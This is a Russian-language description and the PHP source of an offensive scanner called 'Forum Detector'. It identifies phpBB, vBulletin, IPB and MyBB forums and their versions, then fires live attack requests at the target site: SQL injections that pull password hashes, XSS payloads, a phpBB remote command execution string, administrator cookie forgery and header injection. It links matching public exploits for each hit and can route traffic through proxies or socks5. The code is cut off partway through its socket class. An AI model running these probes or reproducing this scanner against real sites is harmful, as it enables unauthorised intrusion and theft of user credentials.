Forum Detector – это скрипт, написанный на php, который поможет вам определить, что за форум установлен на интересующем вас сайте. Если конкретнее, то скрипт умеет:
- определять тип форума (на данный момент поддерживается распознавание IPB, phpBB, vBulletin, MyBB)
- определять версию форума по разным критериям
- определять возможные уязвимости форума и предлагать подходящие для них эксплойты
- определять ТиЦ и PR сайта
- есть поддержка прокси, socks5, прокси с авторизацией, socks5 с авторизацией
<?php set_time_limit(0); print <<<HERE <html><head><title>Forum Detector 1.0 beta by dx</title> <style> INPUT { BORDER-RIGHT: rgb(50,50,50) 1px outset; BORDER-TOP: rgb(50,50,50) 1px outset; FONT-SIZE: 11px; font-family:Arial; BORDER-LEFT: rgb(50,50,50) 1px outset; BORDER-BOTTOM: rgb(50,50,50) 1px outset; } button { BORDER-RIGHT: rgb(50,50,50) 1px outset; BORDER-TOP: rgb(50,50,50) 1px outset; FONT-SIZE: 10px; BORDER-LEFT: rgb(50,50,50) 1px outset; BORDER-BOTTOM: rgb(50,50,50) 1px outset; width:50px; } a,a:active,a:visited { background: transparent; color: #34498B; text-decoration: none; font-weight:700; font-size:12; font-family:Arial; } a:hover { background: transparent; color: blue; font-weight:700; font-family:Arial; font-size:12; text-decoration: none; } </style> </head><body> HERE; if(!isset($_POST['f']) || is_array($_POST['f']) || strlen(trim($_POST['f']))<3) { print <<<HERE <center><h3>Forum Detector 1.0 beta by dx</h3></center><hr> <form action='?' method='post'> Адрес форума: <input type='text' name='f'> <input type='submit' value='Анализировать'> <hr>Дополнительные настройки:<br><br> <input type='checkbox' name='prcy' checked> Определить PR и ТиЦ<br> <input type='radio' value='0' name='p' checked> Не использовать прокси и socks5<br> <input type='radio' value='1' name='p'> Использовать HTTP-прокси<br> <input type='radio' value='2' name='p'> Использовать Socks5<br> <table border=0 cellpadding=1 cellspacing=1><tr><td> Адрес: </td><td><input type='text' name='pr'>:<input type='text' name='pp' style='width:50px'></td></tr> <tr><td>Логин и пароль (если необходимы): </td><td><input type='text' name='login'>:<input type='text' name='pass'> </td></tr></table> </form> <hr>Скрипт позволяет определить тип и версию форума по заданному адресу, ищет некоторые известные уязвимости, дает ссылки на подходящие эксплойты. В данный момент скрипт умеет определять версии phpBB, vBulletin, Invision Power Board, MyBB. <br><a href='http://kaimi.ru/' target='_blank'>© dx</a> </body></html> HERE; exit(); } $f=trim($_POST['f']); if(strtolower(substr($f,0,7))!=='http://') $f='http://'.$f; if(!preg_match("/^http:\/\/([a-z0-9])([a-z0-9\-]+)(\.[a-z0-9\-]+)*(\.[a-z]+)(\/(.*))*$/i",$f)) die('Введен недопустимый URL. Вернитесь <a href="?">назад</a> и повторите попытку.'); $url=parse_url($f); $uri=$url['path']; $domain=$url['host']; $port=$url['port'] ? $url['port'] : '80'; $bugs=Array(); $sploits=Array(); $s=new websock($domain,$port,false); if(isset($_POST['p']) && !is_array($_POST['p']) && $_POST['p']!='0') { $pp=isset($_POST['pp']) && !is_array($_POST['pp']) ? $_POST['pp'] : ''; $pr=isset($_POST['pr']) && !is_array($_POST['pr']) ? $_POST['pr'] : ''; $login=isset($_POST['login']) && !is_array($_POST['login']) ? $_POST['login'] : ''; $pass=isset($_POST['pass']) && !is_array($_POST['pass']) ? $_POST['pass'] : ''; if(!preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$pr)) die('Введен недопустимый адрес прокси/socks. Вернитесь <a href="?">назад</a> и повторите попытку.'); if(!preg_match("/^\d{1,5}$/",$pp)) die('Введен недопустимый порт прокси/socks. Вернитесь <a href="?">назад</a> и повторите попытку.'); if($_POST['p']=='1') $s->set_proxy($pr,$pp,$login,$pass); else $s->set_socks5($pr,$pp,$login,$pass); } $uri=rtrim($uri,'/').'/'; $f2=htmlspecialchars($f); print_flush("<b>Анализ $domain$uri...</b><br><br>Определение типа форума...<br>"); if(!@$s->sconnect()) die('Ошибка подключения: '.htmlspecialchars($s->serr()).' Вернитесь <a href="?">назад</a> и повторите попытку.'); $s->sclose(); $ret=$s->get($uri); $reth=$ret[0]; $ret=$ret[1]; $ret2=$s->get($uri.'install/resources/settings.xml'); $mybb=found($ret2); if(!$mybb) { $ret2=$s->get($uri.'clientscript/vbulletin_editor.css'); $vb=found($ret2); if(!$vb) { $ret2=$s->get($uri.'jscripts/ipb_global.js'); $ipb=found($ret2); } } $ver=''; $ftype='Не удалось определить'; if(isset($_POST['prcy'])) { $prcy=get_prcy(str_replace('/','',$domain)); print_flush('Определено: <b>PR: '.$prcy[0].' CY: '.$prcy[1].'</b><br>'); } if($ipb || strpos($ret,'IP.Board</a>')!==false || preg_match("/>Powered by Invision Power Board \d+\.\d+(\.\d+)?<\/div>/isU",$ret) || strpos($ret,"Powered by <a href=\"http://www.invisionboard.com")!==false || preg_match("/<title>[\S\s]+\(Powered by Invision Power Board\)<\/title>/isU",$ret) || preg_match("/<!-- Copyright Information -->\n[\s\S]+<!-- \/ Copyright -->/isU",$ret) || strpos($ret,"<div id='ipbcopyright'>")!==false || (strpos($ret,'<!-- Copyright Information -->')!==false && strpos($ret,'Powered By IP.Board')!==false)) { $ftype='IPB'; print_flush('Это <b>Invision Power Board</b>. Определяем версию...<br>'); preg_match("/showforum=(\d+)/is",$ret,$m); $someforum=isset($m[1]) ? $m[1] : 1; preg_match("/showtopic=(\d+)/is",$ret,$m); $sometopic=isset($m[1]) ? $m[1] : 1; preg_match("/=([0-9a-z]{32})/is",$reth,$m); $sid=isset($m[1]) ? $m[1] : ''; preg_match("/(\d+\.\d+(\.\d+)?).{1,20} © \d+ <a href='http:\/\/www.invisionpower.com'/isU",$ret,$m); if(isset($m[1])) { $ver='['.$m[1].']'; } else { preg_match("/>Powered by Invision Power Board (\d+\.\d+(\.\d+)?)<\/div>/isU",$ret,$m); if(isset($m[1])) $ver='['.$m[1].']'; } print_flush('Дополнительное определение версий...<br>'); $ret2=$s->get($uri.'jscripts/ipb_forum.js'); preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt); if(isset($dt[1])) $ver.=' [примерная дата установки: '.$dt[1].']'; $ret2=$s->get($uri.'html/emoticons/'); if(found($ret2)) $ver.=' [1.3.x]'; $ret2=$s->get($uri.'initdata.php'); if(found($ret2)) { $ver.=' [3.0.x]'; } else { $ret2=$s->get($uri.'interface/'); $ret3=$s->get($uri.'mod_install/'); $ret4=$s->get($uri.'ips_kernel/db_lib/'); if((found($ret2) && found($ret3)) || found($ret4)) { $ver.=' [2.3.x]'; } else { $ret2=$s->get($uri.'style_captcha/'); $ret3=$s->get($uri.'converge_local/'); if(found($ret2) && found($ret3)) { $ver.=' [2.2.x]'; } else { $ret2=$s->get($uri.'jscripts/ipb_editor_std.js'); if(found($ret2)) { $ver.=' [2.1.x]'; } else { $ret2=$s->get($uri.'/sources/usercp.php'); $ret3=$s->get($uri.'/sources/taskloader.php'); if(found($ret2) && found($ret3)) $ver.=' [2.0.x]'; } } } } print_flush('Проверка уязвимостей...<br>'); if(strpos($ver,'1.3')!==false) { $hex="0123456789abcdef"; $idx=0; while(1) { $letter=substr($hex,$idx,1); $cookie="member_id=10;pass_hash=123%2527%20OR%20id=1%20HAVING%20id=1%20AND%20MID(`password`,0,1)=%2527".$letter; $ret2=$s->get($uri.'index.php?act=Login&CODE=autologin','',$cookie); if(!preg_match("/Location:(.*)act=Login&CODE=00/",$ret2[0])) { $bugs[]='<b>SQL-Injection в cookies</b>'; $sploits[]='<a href="http://milw0rm.com/id.php?id=1036" target="_blank">SQL-Injection в cookies</a>'; $sploits[]='<a href="http://www.securitylab.ru/vulnerability/203717.php" target="_blank">SQL-Injection в ssi.php</a>'; $ver.=' [<=1.3.1 final]'; break; } $idx++; if($idx==16) break; } } $ret2=$s->get($uri."index.php?s=$sid&act=Post&CODE=02&f=$someforum&t=$sometopic&qpid=x99"); if(strpos($ret2[1],'mySQL query error:')!==false) { $bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?s=$sid&act=Post&CODE=02&f=$someforum&t=$sometopic&qpid=x99"; $sploits[]='<a href="http://milw0rm.com/id.php?id=648" target="_blank">Получение хеша пароля</a>'; $ver.=' [2.0.0-2.0.2]'; } $ret2=$s->get($uri."index.php?showforum=$someforum&prune_day=100&sort_by=Z-A&sort_key='"); if(strpos($ret2[1],'mySQL query error:')!==false) { $bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?showforum=$someforum&prune_day=100&sort_by=Z-A&sort_key='"; $sploits[]='<a href="http://www.securitylab.ru/vulnerability/202735.php" target="_blank">Информация о SQL-инъекции</a>'; $ver.=' [2.0.0-2.0.2]'; } $ret2=$s->get($uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="')); if(strpos($ret2[1],'alert(document.cookie);var i=""')!==false) { $bugs[]='<b>Пассивная XSS (magic_quotes_gpc выключено): </b>'.$domain.$uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="'); $ver.=' [<=2.2.2]'; } else if(strpos($ret2[1],'alert(document.cookie);var i=\\""')!==false) { $bugs[]='<b>Пассивная XSS, но включено magic_quotes_gpc: </b>'.$domain.$uri.'jscripts/folder_rte_files/module_image.php?editorid='.urlencode('";alert(document.cookie);var i="'); $ver.=' [~2.2.2]'; } $ret2=$s->get($uri.'index.php?act=xmlout&do=check-display-name&name=somethingfoobarkind%2527%20OR%201=1--%20'); if($ret2[1]==='found') { $bugs[]='<b>SQL-Injection: </b>'.$domain.$uri.'index.php?act=xmlout&do=check-display-name&name=somethingfoobarkind%2527%20OR%201=1--%20'; $sploits[]='<a href="http://www.milw0rm.com/exploits/6507" target="_blank">SQL-Injection <=2.3.5</a>'; $ver.=' [<=2.3.5]'; } print_flush('Проверка уязвимостей некоторых дополнений...<br>'); $ret2=$s->get($uri."index.php?s=&act=army&userstat=0+test"); if(strpos($ret2[1],'mySQL query error:')!==false) $bugs[]='<b>SQL-инъекция в Army mod: </b>'.$domain.$uri."index.php?s=&act=army&userstat=0+test"; $ret2=$s->get($uri."index.php?act=Arcade&module=report&user=-1%20union%20select%20575757575"); if(strpos($ret2[1],'575757575')!==false && strpos($ret2[1],'user=-1')===false) { $bugs[]='<b>SQL-инъекция в Arcade mod: </b>'.$domain.$uri."index.php?act=Arcade&module=report&user=-1%20union%20select%20575757575"; $sploits[]='<a href="http://www.milw0rm.com/exploits/1296" target="_blank">SQL-Injection <=2.3.5</a>'; } } else if($vb || preg_match("/>Copyright ©\d+ \- \d+, Jelsoft Enterprises Ltd/isU",$ret) || preg_match("/<div id=\"copyright\">vBulletin v[\S\s]+ Jelsoft Enterprises Ltd\.<\/div>/isU",$ret) || preg_match("/<title>[\S\s]+ \- [Pp]{0,1}owered by vBulletin<\/title>/isU",$ret) || preg_match("/<!-- Do not remove this copyright notice -->\n[\s\S]+<!-- Do not remove this copyright notice -->/isU",$ret) || strpos($ret,"<!-- breadcrumb, login, pm info -->")!==false) { $ftype='vBulletin'; print_flush('Это <b>vBulletin</b>. Определяем версию...<br>'); preg_match("/vBulletin® .{1,20} (\d+\.\d+\.\d+)([^\d]|<br)/isU",$ret,$m); if(isset($m[1])) { $ver='['.$m[1].']'; } print_flush('Дополнительное определение версий...<br>'); $ret2=$s->get($uri.'clientscript/vbulletin_textedit.js'); preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt); if(isset($dt[1])) $ver.=' [Примерная дата установки: '.$dt[1].']'; $ret2=$s->get($uri.'clientscript/vbulletin_editor.css'); if(!preg_match("/vBulletin (\d+\.\d+\.\d+)( Patch Level \d+)/isU",$ret2[1],$m)) preg_match("/vBulletin (\d+\.\d+\.\d+)/isU",$ret2[1],$m); if(isset($m[1])) $ver.=isset($m[2]) ? ' [clientscript/vbulletin_editor.css: '.$m[1].' '.$m[2].']' : ' [clientscript/vbulletin_editor.css: '.$m[1].']'; $ret2=$s->get($uri.'clientscript/vbulletin_editor.css'); if(!preg_match("/vBulletin (\d+\.\d+\.\d+)( Patch Level \d+)/isU",$ret2[1],$m)) preg_match("/vBulletin (\d+\.\d+\.\d+)/isU",$ret2[1],$m); if(isset($m[1])) $ver.=isset($m[2]) ? ' [clientscript/vbulletin_editor.css: '.$m[1].' '.$m[2].']' : ' [clientscript/vbulletin_editor.css: '.$m[1].']'; $ret2=$s->get($uri.'install/finalupgrade.php'); preg_match("/vBulletin (\d+\.\d+\.\d+) /isU",$ret2[1],$m); if(isset($m[1])) $ver.=' [install/finalupgrade.php: '.$m[1].']'; $ret2=$s->get($uri.'includes/functions_banning.php'); if(found($ret2)) { $ver.=' [~3.6.4]'; } else { $ret2=$s->get($uri.'admincp/admininfraction.php'); if(found($ret2)) { $ver.=' [~3.6.0]'; } else { $ret2=$s->get($uri.'ajax.php'); if(found($ret2)) $ver.=' [~3.5.0]'; } } print_flush('Проверка уязвимостей...<br>'); $ret2=$s->get($uri.'search.php?do=process&showposts=0&query='.urlencode('<script>alert(/111/);</script>')); if(strpos($ret2[1],'<script>alert(/111/);</script>')!==false) { $bugs[]='<b>Пассивная XSS: </b>'.$domain.$uri.'search.php?do=process&showposts=0&query='.urlencode('<script>alert(/111/);</script>'); $ver.=' [3.0.0-3.0.4]'; } $ret2=$s->get($uri.'install/upgrade_301.php?step=SomeWord'); if(strpos($ret2[1],'sqltable')!==false) { $bugs[]='<b>Дамп любых таблиц: </b>'.$domain.$uri.'install/upgrade_301.php?step=SomeWord'; $ver.=' [<=3.5.4]'; } $ret2=$s->get($uri.'admincp/index.php?do=buildnavprefs&nojs=0&prefs='.urlencode('"><script>alert("123")</script>')); if(strpos($ret2[1],'alert("123")')!==false) { $bugs[]='<b>Пасивная XSS: </b>'.$domain.$uri.urlencode('"><script>alert("123")</script>'); $ver.=' [3.5.4]'; } $ret2=$s->post($uri.'ajax.php?do=CheckUsername¶m='.urlencode('"><script>alert("xss")</script>')); if(strpos($ret2[1],'alert("xss")')!==false) $bugs[]='<b>Пасивная XSS: </b>'.$domain.$uri.'ajax.php?do=CheckUsername¶m='.urlencode('"><script>alert("xss")</script>'); $ret2=$s->get($uri.'validator.php'); if(found($ret2)) { $bugs[]='<b>Найден валидатор: </b>'.$domain.$uri.'validator.php'; $ver.=' [3.6.x]'; } } else if(strpos($ret,'We request you retain the full copyright notice below including the link to www.phpbb')!==false || strpos($ret,"<!--\n/*\n The original subSilver Theme")!==false || preg_match("/<title>[\S\s]+ [\(]{0,1}Powered by phpBB[\)]{0,1}<\/title>/isU",$ret) || preg_match("/<img src=\"templates\/\S{1,}\/images\/folder_new_big.gif\"/isU",$ret) || preg_match("/<a href=\"http:\/\/www\.phpbb\.com\/\" target=\"_phpbb\" class=\"copyright\">/isU",$ret) || strpos($ret,"Powered by <a href=\"http://www.phpbb")!==false) { $ftype='phpBB'; print_flush('Это <b>phpBB</b>. Определяем версию...<br>'); preg_match("/viewforum\.php\?f=(\d+)/is",$ret,$m); $someforum=isset($m[1]) ? $m[1] : 1; $sep='t'; preg_match("/viewtopic\.php\?t=(\d+)/is",$ret,$mt); if(!isset($mt[1])) { preg_match("/viewtopic\.php\?p=(\d+)/is",$ret,$mt); $sometopic=isset($mt[1]) ? $mt[1] : 1; if(isset($m[1])) $sep='p'; } else { $sometopic=$mt[1]; } $ret2=$s->get($uri.'docs/CHANGELOG.html'); $ret2=$ret2[1]; preg_match("/<span class=\"maintitle\">phpBB (.{1,15}) CHANGELOG<\/span><\/td>/isU",$ret2,$mv); if(isset($mv[1])) $ver='[версия при установке: '.$mv[1].']'; if($ver=='' || !preg_match("/^\d+\.\d+\.\d+$/",$ver)) { preg_match("/Changes since (.{1,15})<\/a><\/li>/isU",$ret2,$mv); if(isset($mv[1])) { $ver=$mv[1]; if(preg_match("/^(\d+)\.(\d+)\.(\d+)$/",$ver,$mv)) $ver='[версия при установке: '.$mv[1].'.'.$mv[2].'.'.($mv[3]+1).']'; } } print_flush('Дополнительное определение версий...<br>'); $ret2=$s->get($uri.'images/spacer.gif'); preg_match("/Last\-Modified: (.+)\r\n/isU",$ret2[0],$dt); if(isset($dt[1])) $ver.=' [Примерная дата установки: '.$dt[1].']'; $ret2=$s->get($uri.'admin/admin_disallow.php?setmodules=00'); if(strpos($ret2[1],'Call to undefined function')!==false) { $bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'admin/admin_disallow.php?setmodules=00'; $ver.=' [<2.0.19]'; } $ret2=$s->get($uri.'index.php?category_rows=aaaa'); if(strpos($ret2[1],'operator not supported for strings')!==false) { $bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'index.php?category_rows=aaaa'; $ver.=' [<=2.0.4]'; } $ret2=$s->get($uri.'ucp.php'); if(found($ret2)) $ver.=' [>=3.0.0]'; $ret2=$s->get($uri.'viewforum.php?f='.$someforum.'&start=-1'); if(strpos($ret2[1],'Could not obtain topic information')!==false) { $bugs[]='<b>Определение префиксов таблиц: </b>'.$domain.$uri.'viewforum.php?f='.$someforum.'&start=-1'; $ver.=' [<=2.0.21]'; } print_flush('Проверка уязвимостей...<br>'); $ret2=$s->post($uri.'admin/admin_styles.php?mode=addnew','send_file=1&install_to=index.htm%00'); if(strpos($ret2[1],'<body bgcolor="#FFFFFF" text="#000000">')!==false) { $bugs[]='<b>File-include:</b> POST '.$domain.$uri.'admin/admin_styles.php?mode=addnew; Параметры: send_file=1&install_to=Локальное_или_удаленное_имя_файла%00'; $sploits[]='<a href="http://milw0rm.com/id.php?id=47" target="_blank">Просмотр или исполнение файлов</a>'; $ver.=' [~2.0.4]'; } $ret2=$s->get($uri.'viewtopic.php?sid=1&topic_id=-1%20union%20select%2056765/*&view=newest'); if(strpos($ret2[0],'56765#56765')!==false) { $bugs[]='<b>Получение хеша пароля:</b> Пример запроса с SQL-инъекцией: '.$domain.$uri.'viewtopic.php?sid=1&topic_id=-1%20union%20select%2056765/*&view=newest'; $sploits[]='<a href="http://milw0rm.com/id.php?id=44" target="_blank">Получение хеша пароля</a>'; $ver.=' [~2.0.5]'; } $ret2=$s->get($uri."search.php?search_id=-1%20union%20select%20'''"); if(strpos($ret2[1],'DEBUG MODE')!==false) { $bugs[]='<b>SQL-инъекция:</b> Пример запроса с SQL-инъекцией: '.$domain.$uri."search.php?search_id=-1%20union%20select%20'''"; $sploits[]='<a href="http://milw0rm.com/id.php?id=137" target="_blank">Получение хеша пароля (search.php)</a>'; $ver.=' [~2.0.6]'; } $ret2=$s->get($uri."viewtopic.php?$sep=$sometopic&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%6C%73%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527"); if(strpos($ret2[1],'<TITLE>500')!==false || strpos($ret2[1],'extension.inc')!==false) { $bugs[]='<b>Выполнение произвольных команд через viewtopic.php</b>'; $sploits[]='<a href="http://milw0rm.com/id.php?id=647" target="_blank">Выполнение произвольных команд через viewtopic.php</a>'; $ver.=' [2.0.7-2.0.10]'; } $ret2=$s->get($uri,'',"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"); if(strpos($ret2[1],'<a href="admin/index.php?')!==false) { $bugs[]='<b>Подмена cookies: </b>phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D'; $sploits[]='<a href="http://www.milw0rm.com/exploits/889" target="_blank">Подмена cookies и получение прав администратора</a>'; $ver.=' [<=2.0.12]'; } $ret2=$s->get($uri."viewtopic.php?$sep=$sometopic&highlight='.printf(blaaaaaaaa).'"); if(preg_match("/[^8\(]blaaaaaaaa/",$ret2[1])) { $bugs[]='<b>Выполнение PHP-кода: </b>'.$domain.$uri."viewtopic.php?$sep=$sometopic&highlight='.printf(blaaaaaaaa).'"; $sploits[]='<a href="http://milw0rm.com/id.php?id=1080" target="_blank">Выполнение PHP-кода</a>'; $ver.=' [<=2.0.15]'; } print_flush("Проверка уязвимостей некоторых модификаций...<br>"); $ret2=$s->get($uri."index.php?s=-99%20UNION%20SELECT%20null,user_password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20phpbb_users%20Where%20user_id=2/*"); if(preg_match("/open(.{1,10})template/is",$ret2[1])) { $bugs[]='<b>SQL-инъекция в style changer/demo mod</b>'; $sploits[]='<a href="http://www.milw0rm.com/exploits/1469" target="_blank">SQL-инъекция в style changer/demo mod</a>'; $ver.=' [~2.0.19]'; } $ret2=$s->get($uri."downloads.php?cat=-1%20UNION%20SELECT%200,1212121212121,0,0,0,0,0,0,0/*"); if(strpos($ret2[1],'1212121212121')!==false && found($ret2)) { $bugs[]='<b>SQL-инъекция в downloads mod</b>'; $sploits[]='<a href="http://www.milw0rm.com/exploits/907" target="_blank">SQL-инъекция в downloads mod</a>'; } $ret2=$s->get($uri."filebase.php?d=1&id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,1212121212121,12,13,14/**/FROM/**/phpbb_users/*"); if(strpos($ret2[1],'1212121212121')!==false && found($ret2)) { $bugs[]='<b>SQL-инъекция в mod filebase</b>'; $sploits[]='<a href="http://www.milw0rm.com/exploits/5236" target="_blank">SQL-инъекция в mod filebase</a>'; } $ret2=$s->get($uri."links.php?t=search&search_keywords=asd&start=1,1%20UNION%20SELECT%201,121212121211,user_password,4,5,6,7,8,9,10,11,12%20FROM%20phpbb_users%20WHERE%20user_id=2/*"); if(strpos($ret2[1],'121212121211')!==false && found($ret2)) { $bugs[]='<b>SQL-инъекция в Links Mod</b>'; $sploits[]='<a href="http://www.milw0rm.com/exploits/4346" target="_blank">SQL-инъекция в Links Mod</a>'; } $ret2=$s->get($uri."forum.php?c=-1/**/UNION/**/SELECT/**/0,1,2,3,4,121212121212121,6/**/FROM/**/minerva_users%20where%20user_id=2/*"); if(strpos($ret2[1],'121212121212121')!==false && found($ret2)) { $bugs[]='<b>SQL-инъекция в Minerva Mod</b>'; $sploits[]='<a href="http://www.milw0rm.com/exploits/4346" target="_blank">SQL-инъекция в Minerva Mod</a>'; $ver.=' [<=2.0.21]'; } $ret2=$s->get($uri."alltopics.php?mode=&order=ASC&start=-1%20UNION%20SELECT%20523117/*"); if(strpos($ret2[1],'523117')!==false && found($ret2)) { $bugs[]='<b>SQL-инъекция в All Topics mod</b>'; $sploits[]='<a href="http://www.milw0rm.com/exploits/2248" target="_blank">SQL-инъекция в All Topics mod</a>'; } } else if($mybb || strpos($ret,'misc.php?action=syndication')!==false || strpos($ret,'Powered By <a href="http://www.mybboard.net" target="_blank">MyBB')!==false || strpos($ret,'http://mybboard.net/contact">')!==false || strpos($ret,'You may NOT remove, modify or hinder the visibility of the MyBB copyright at any time')!==false || strpos($ret,"n='mybb_ctest'")!==false || preg_match("/<a href=\"http:\/\/www\.mybboard\.com\" target=\"_blank\">MyBB<\/a>/isU",$ret) || preg_match("/<a id=\"mybb\" href=\"http:\/\/mybb.ru\/\" target=\"_blank\">MyBB<\/a>/isU",$ret)) { $ftype='MyBB'; $ret2=$s->get($uri.'install/resources/settings.xml'); preg_match("/<settings version=\"(\d+)\"/isU",$ret2[1],$m); if(isset($m[1])) $ver.=' [ install/resources/settings.xml: '.$m[1].']'; $ret2=$s->get($uri.'/install/resources/mybb_theme.xml'); preg_match("/ version=\"(\d+)\">/isU",$ret2[1],$m); if(isset($m[1])) $ver.=' [ install/resources/settings.xml: '.$m[1].']'; $ret2=$s->get($uri."calendar.php?action=event&eid='%20UNION%20SELECT%20121212121,121212121,null,null,null,null,121212121,null/*"); if(strpos($ret2[1],'121212121')!==false && found($ret2)) { $bugs[]='<b>SQL-инъекция в calendar.php</b>'; $sploits[]='<a href="http://milw0rm.org/exploits/1022" target="_blank">SQL-инъекция в calendar.php</a>'; $ver.=' [<=1.0.0 RC4]'; } $ret2=$s->get($uri."search.php?s=de1aaf9b&action=do_search&keywords=%3Cscript%3Ealert(1)%3C/script%3E&srchtype=3"); if(strpos($ret2[1],'<script>alert(1)')!==false) { $bugs[]='<b>Пассивная XSS в search.php</b>'.$domain.$uri."search.php?s=de1aaf9b&action=do_search&keywords=%3Cscript%3Ealert(1)%3C/script%3E&srchtype=3"; $ver.=' [~1.0.2]'; } $ret2=$s->get($uri."index.php?referrer=9999999999'%20UNION%20SELECT%20121212112121,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*"); if(strpos($ret2[1],'121212112121')!==false) { $bugs[]='<b>SQL-инъекция: </b>'.$domain.$uri."index.php?referrer=9999999999'%20UNION%20SELECT%20121212112121,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9%20FROM%20mybb_users%20WHERE%20uid=1/*"; $ver.=' [<=1.1.2]'; } $s->sconnect(); $s->get_header($uri.'index.php','','','GET','','',"CLIENT-IP: 'qwerty/*\r\n"); $s->swrite(); $ret2=$s->http11read(); $s->sclose(); if(strpos($ret2[1],'You have an error in your SQL syntax')!==false) { $bugs[]='<b>SQL-инъекция в CLIENT-IP</b>'; $sploits[]='<a href="http://www.security.nnov.ru/files/mybbsipsql.php" target="_blank">SQL-инъекция в CLIENT-IP</a>'; $ver.=' [<=1.1.5]'; } $s->sconnect(); $s->get_header($uri.'index.php','','','GET','','',"CLIENT_IP: 123' or 1=(select null from mybb_users where length(if(ascii(substring((select password from mybb_users where uid=1),1,1))>1,password,uid))>254)/*\r\n"); $s->swrite(); $ret2=$s->http11read(); $s->sclose(); if(strpos($ret2[1],'Subquery returns more than 1 row')!==false) { $bugs[]='<b>SQL-инъекция в CLIENT-IP</b>'; $sploits[]='<a href="http://www.milw0rm.com/exploits/3719" target="_blank">SQL-инъекция в CLIENT-IP</a>'; $ver.=' [<=1.2.2]'; } $ret2=$s->get($uri."calendar.php?action=dayview&year=2007&month=3&day=1111111'%20OR%201=1/*"); if(strpos($ret2[1],'profile')!==false) { $bugs[]='<b>SQL-инъекция в calendar.php</b>'; $sploits[]='<a href="http://www.securitylab.ru/poc/extra/294837.php" target="_blank">SQL-инъекция в calendar.php</a>'; $ver.=' [<=1.2.5]'; } $ret2=$s->get($uri."forumdisplay.php?fid=$fid&sortby=']=1;echo%20'*';echo%20'*';%20\$orderarrow['"); if(strpos($ret2[1],'**')!==false) { $bugs[]='<b>Выполнение PHP-кода</b>'; $sploits[]='<a href="http://www.milw0rm.com/exploits/4927" target="_blank">Выполнение PHP-кода</a>'; $ver.=' [<=1.2.10]'; } $ret2=$s->get($uri.'inc/3rdparty/diff/Diff/Renderer/unified.php'); if(strpos($ret2[1],'require_once')!==false) { $bugs[]='<b>Раскрытие путей: </b>'.$domain.$uri.'inc/3rdparty/diff/Diff/Renderer/unified.php'; $ver.=' [~1.4.x]'; } } print '<b>Определено: </b>'.$ftype.' '.$ver; if(count($bugs)<1) $bugs[]='не найдено'; if(count($sploits)<1) $sploits[]='не найдено'; print '<hr><b>Найденные уязвимости: </b><br>'.implode('<br>',$bugs).'<hr><b>Подходящие эксплойты: </b><br>'.implode('<br>',$sploits); if(strtolower(substr($domain,0,4))=='www.') $domain=substr($domain,4); print "<hr><b>Рекомендуется посмотреть: </b><br><a href='http://www.google.ru/search?hl=ru&q=inurl%3A".$domain."+\"mysql+error\"' target='_blank'>Что заметил google (SQL)</a><br><a href='http://www.google.ru/search?hl=ru&q=inurl%3A".$domain."+\"warning%3A \"' target='_blank'>Что заметил google (другое)</a>"; die('<hr><b>Scan complete.</b><hr><a href="?">Анализировать еще форум...</a></body></html>'); function print_flush($txt) { print $txt; ob_flush(); flush(); } function found($ret) { if(strpos($ret[0],'404')===false && strpos($ret[1],'<title>404')===false && strpos($ret[1],'<TITLE>The page cannot be found</TITLE>')===false && strpos($ret[0],'302')===false && strpos($ret[0],'301')===false) return true; return false; } function get_prcy($domain) { $s=new websock('bar-navig.yandex.ru','80',false); $ret=$s->get('/u?ver=2&show=32&url=http://'.$domain); return preg_match('/<tcy rang="(\d+)" value="(\d+)"/is',$ret[1],$m) ? Array($m[1],$m[2]) : Array(0,0); } /* WEBsock class by DX */ class websock { /*все переменные private*/ var $sock; var $connection=0; var $keepalive=300; var $request=''; var $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0'; var $proto='1.0'; var $addr=''; var $success=0; var $proxy=''; var $pport=0; var $port=0; var $s_addr=''; var $s_port=0; var $use_lowlevel_socks=true; var $fsock_err=''; var $auto_unzip=true; var $unzipped=false; var $proxy_add_str=''; var $is_socks5=false; var $s_user=''; var $s_pass=''; /*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/ function websock($addr,$port=80,$use_lowlevel_socks=true) { if(!function_exists('socket_create') && $use_lowlevel_socks) return; $this->addr=$addr; $this->s_addr=$addr; $this->s_port=$port; $this->use_lowlevel_socks=$use_lowlevel_socks; if($this->use_lowlevel_socks) { if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr)) $addr=gethostbyname($addr); if(!$addr) return; $this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP); if(!$this->sock) return; } 